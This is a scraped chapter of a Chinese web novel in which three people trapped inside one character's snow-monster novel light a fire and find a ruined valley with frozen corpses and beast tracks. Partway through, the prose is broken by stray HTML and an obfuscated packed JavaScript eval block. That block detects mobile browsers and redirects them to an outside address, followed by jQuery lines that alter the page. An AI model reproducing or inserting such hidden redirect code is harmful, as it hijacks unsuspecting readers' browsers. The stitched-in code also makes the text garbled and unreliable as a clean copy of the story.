“我就游了个泳!推了个更衣室的门!至于吗?!直接给我发配北极圈裸奔?!这游戏体验也太差了吧!新手保护期呢?!客服呢?!我要投诉——阿嚏!!!”
他打了个惊天动地的喷嚏,揉着通红的鼻子,终于看到了岩石旁的江津和沈至。
男生眼睛猛地一亮,像是看到了救星,也不管自己几乎□□,嗖一下就窜了过来,带起一阵冷风,他激动地语无伦次:“兄弟!大哥!救命!有衣服吗借一件!不,半件也行!裤衩快冻掉了!这他妈到底是哪儿啊??”
凑近了,江津才看清他的脸,确实很年轻,眉眼飞扬,带着一种养尊处优又充满活力的气质,即使冻成这样,眼神里除了惊恐,居然还有一种“这也太刺激了吧”的好奇,或者说是莽撞。
沈至的反应最快,他二话不说就解开自己那件湿透沉重但好歹是羊毛材质的大衣扣子,声音因为寒冷有些发紧:“先穿上,别废话。”
虽然他自己也冻得够呛,但眼前这人再不保暖,下一秒可能就直接失温昏迷。
男生也不客气,接过还带着沈至体温的大衣,胡乱裹在身上,总算停止了那种滑稽的蹦跳,但依旧抖得像筛糠,上下牙磕得咯咯响:“谢、谢谢大佬!你真是个好人!回头出去了我赔你十件!不,一百件!爱马仕的!”
江津没理会他的胡言乱语,快速问道:“你是谁?怎么进来的?”
“我?我叫周天!周末的周,天气的天!”男生语速快得像一个rapper,“就在市体育馆游泳呢,游完去更衣室,推开我那柜子的门,好家伙,里面不是毛巾拖鞋,是一片白光!我还以为保洁阿姨新装的什么高科技消毒灯呢,一头撞进去,再睁眼就到这儿了!差点没给我冻成冰雕!”
他说着,又打了个哆嗦,裹紧了沈至的大衣,眼巴巴地看着江津身上的羽绒服,“哥,你这羽绒服……看起来挺暖和的哈?”
江津没接这个话茬,和沈至交换了一个凝重的眼神。
又一个。
第四个人。
也是门。体育馆更衣室的门。
触发机制似乎越来越清晰,但也越来越令人不安。
难道随便推开一扇门,都可能掉进这种鬼地方?
“这里是哪儿你们知道吗?怎么出去啊?”周天继续问,他适应力强得惊人,刚刚还鬼哭狼嚎,现在已经开始观察环境了,“这雪也太大了吧,比我在北海道滑雪那次还猛。咱们得找个地方生火,不然真得交代在这儿。”他说话间,眼睛还四处乱瞟。
“这是……一个很危险的地方。”江津斟酌着用词,不知道该怎么跟这个看起来完全状况外的富二代解释,“有暴风雪,有低温,还有……别的东西。我们必须尽快找地方躲起来。”
“别的东西?”周天眨眨眼,居然有点小兴奋,“野兽?雪豹?北极熊?不对,这林子里不像有北极熊……难道是雪人?野人?”他脑洞大开。
江津懒得纠正他,雪怪和雪人在恐怖程度上可不是一个量级的。
“先离开这里。”沈至打断,他的声音冷冰冰的,“那边,岩石上面好像有个凹陷,可以暂时避风。”
三人艰难跋涉。周天裹着对他来说明显小一号的沈至大衣,露出半截小腿,模样滑稽又凄惨,终于挪到了沈至说的那处岩石凹陷。
空间不大,但总算能稍微遮挡一下直接扑面的狂风和雪粒。三人挤在一起,靠彼此的体温勉强取暖。
“这样不行,”周天虽然冻得够呛,脑子却转得飞快,“得生火。我有办法!” 他说着,手就往自己湿漉漉的泳裤边缘摸。
江津和沈至愣住:“……?”
只见周天从泳裤紧贴皮肤的一个小防水暗袋里,摸出了一个真空防水袋,里面赫然装着:一盒防风火柴,一小块镁棒打火石,甚至还有几颗用锡纸包好的巧克力豆和一个迷你急救毯!
“嘿嘿,”周天看到两人惊讶的表情,得意地咧嘴笑了,尽管牙齿还在打颤,“我教练教的,野外求生基础。游泳也带着,习惯了。没想到真用上了!我这就叫未雨绸缪!”
江津和沈至一时无言。在零下几十度的暴风雪里,一个穿着泳裤、却随身携带微型求生工具的富二代……这画面太美我不敢看。
周天动作麻利地拆开防水袋,先把急救毯抖开,示意江津和沈至靠拢,三人用毯子裹住背风的一面,瞬间感觉流失的体温被反射回来一些,舒服了一点。
然后他开始搜集岩石缝里一些相对干燥的、被风吹进来的细小枯枝和苔藓,用冻得通红但稳定的手,拿起镁棒和刀背,开始拼命刮擦。
一下,两下……火星溅在引火的干苔藓上。
一小簇微弱的火苗,终于颤抖着升了起来!
周天屏住呼吸,小心翼翼地将细小的枯枝搭上去,专注得像在完成一件艺术品。
火苗慢慢变旺,发出噼啪的轻响,橘红色的光芒驱散了一小片严寒和黑暗,也映亮了三人冻僵的脸。
“牛逼!”周天自己先欢呼一声,搓着手凑近火堆,然后又赶紧把巧克力豆分给江津和沈至,“快,补充点热量!虽然不多,顶一顶!”
靠着这意外的小火堆、急救毯和周天未雨绸缪的巧克力豆,三人濒临崩溃的体温和体力终于勉强拉回来一点。
“现在,能说说这‘别的东西’到底是啥了吗?”周天啃着巧克力豆,恢复了点元气,好奇心又熊熊燃烧起来,“还有,你们俩一看就不是第一次来这种鬼地方了吧?挺淡定啊。”
江津和沈至再次对视。眼前这个周天,虽然看起来莽撞、话痨、像个被宠坏的大少爷,但他在极端环境下表现出的行动力、准备的求生工具、以及快速适应和试图掌控局面的性格,或许……不是累赘。
沈至简略地将他们之前的经历和目前的推测告诉了周天,隐去了一些过于惊悚和复杂的细节。
周天听得目瞪口呆,嘴里的巧克力豆都忘了咽。“我靠……无限流?穿书?还是穿自己人写的书?”他消化了几秒钟,眼睛反而越来越亮,“刺激啊!我说呢,怎么这么邪门!江哥是吧?你那本《雪怪》我好像听说过,没看过,讲的啥?咱们现在要打雪怪?BOSS战?”
江津看着他兴奋中带着认真的表情,突然有点理解路乐川看马赛幻觉时的心情了。这人的脑回路,是不是有点过于乐观和跳跃了?
“首先,是生存。”沈至冷静地泼了盆冷水,“火堆燃料支撑不了多久。我们需要找到更可靠的庇护所,可能的话,还有御寒衣物、食物和水。就我们现在这个状态,在这个温度和环境下,没有装备,我们连今晚都熬不过去。”
周天一拍大腿,然后疼得龇牙咧嘴:“说得对!生存第一!那个,江哥,你书里写没写,这附近有没有山洞啊,猎人小屋啊,或者,废弃的科考站什么的?”
江津努力回忆《雪怪》的设定。故事发生在一片虚构的、靠近边境的极寒山脉,主角团是来探险的驴友,遭遇暴风雪后误入一个被当地人视为禁地的山谷,那里有一些古老破烂的石屋,以及……
一个深不见底的冰缝,雪怪就潜伏在冰缝深处。
“可能有……废弃的石屋,在山谷里。”江津不太确定,“但方向……现在根本分辨不了。”
周天却立刻来了精神:“有线索就行!咱们不能在这儿等死!等雪小一点,就去找!我方向感还行,小时候跟我爸在野外打过猎……虽然主要是他在打,我在旁边玩。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301257|198637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他说着,忽然想起什么,在身上摸索起来,然后从泳裤另一个隐秘的小口袋里,摸出一个小巧的装置。
江津&沈至:这泳裤到底有多少口袋?
是个有防水处理的卫星定位信标,不过屏幕是黑的。“可惜,这玩意儿在这儿好像没信号。”他遗憾地晃了晃,“不然能定位也能求救。不过没关系,我看这雪好像有变小的趋势!”
确实,不知是他们的运气,还是暴风雪本就有所间歇,外面的风雪声似乎减弱了一些,能见度略微提升。
沈至仔细听了听风声,又看了看天,点了点头:“风速在降。可以尝试移动。我们必须在天黑前找到庇护所。”
三人熄灭火堆,小心地保留了火星和炭,收起急救毯。
周天依旧裹着沈至的大衣,赤脚踩在雪地里,冻得龇牙咧嘴,但愣是一声没吭,还主动走在前面探路,用一根捡来的粗树枝戳探积雪,防止掉进暗藏的冰裂隙。
他的运动神经确实出色,即使在深雪中,动作也比江津和沈至灵活不少。而且他话虽多,但观察力敏锐,很快发现了一些被风吹出的岩石走向和低矮植被的倾向,大致判断出了一个下坡的方向。
按照常理,山谷应该在低处。
艰难行进了大约一个多小时,江津感觉自己像是在雪地里走了一辈子,风雪终于暂时停歇。灰白的天空依然阴沉,但视野开阔了许多。他们站在一处相对较高的坡脊上,向下望去。
只见下方是一片被冰雪覆盖的相对开阔的谷地,谷地中央,隐约可见几处低矮的、用粗糙石块垒砌的建筑轮廓,大部分已经坍塌,被厚厚的积雪掩埋,只有几堵残墙还矗立着,像雪地中沉默的墓碑。
“找到了!”周天兴奋地低呼,“石屋!有救了!”
希望重新燃起。
三人加快脚步,几乎是连滚爬爬地冲下斜坡,朝着石屋遗迹奔去。
就在他们接近最近一处半坍塌石屋时,走在前面的周天突然“咦”了一声,停下脚步,用树枝拨开屋角堆积的雪。
雪下,露出半截冻得硬邦邦的、颜色鲜艳的布料——是现代冲锋衣的袖子。
袖子连着的手臂部分,已经呈现出不自然的青黑色,显然已经死亡多时。
周天的笑容僵在了脸上。
江津的心沉了下去。书里的设定成真了:之前有闯入者死在这里。
沈至蹲下身,小心地拨开更多积雪。不止一具。残墙根下,至少有三四个被冻僵的尸体蜷缩着,穿着各异的现代登山服,但都破败不堪,身上覆盖着冰雪。其中一具尸体的脸上,还凝固着极度惊恐的表情,眼睛圆睁,望着天空。
死亡的气息,混合着冰雪的冷冽,弥漫开来。
“看来……找到庇护所的不止我们。”周天收起了之前的兴奋,声音低沉下来,带着一丝后怕,“他们……没扛过去?”
沈至检查着尸体和周围痕迹,眉头紧锁:“不完全是冻死。看这里。”他指向其中一具尸体旁边的雪地,那里有几个凌乱、巨大、绝非人类能留下的爪印,深深嵌入冻硬的雪壳,边缘还带着些许冰蓝色的、仿佛散发着微弱寒气的粘液。
爪印延伸向石屋深处,那更加黑暗的、被坍塌石块半封住的内部。
石屋里,并不安全。
或者说,这根本就是一个陷阱。
几乎是同时,一声低沉、悠长、仿佛混合了风啸与冰裂的恐怖嗥叫,从石屋深处那一片黑暗之中,隐隐传了出来。
嗥叫声在寂静的雪谷中回荡,激起远处山坡上的阵阵雪雾。
周天猛地攥紧了手中的树枝,脸上第一次露出了凝重和紧张,但眼神里没有退缩,反而燃起一股火:“……来了?”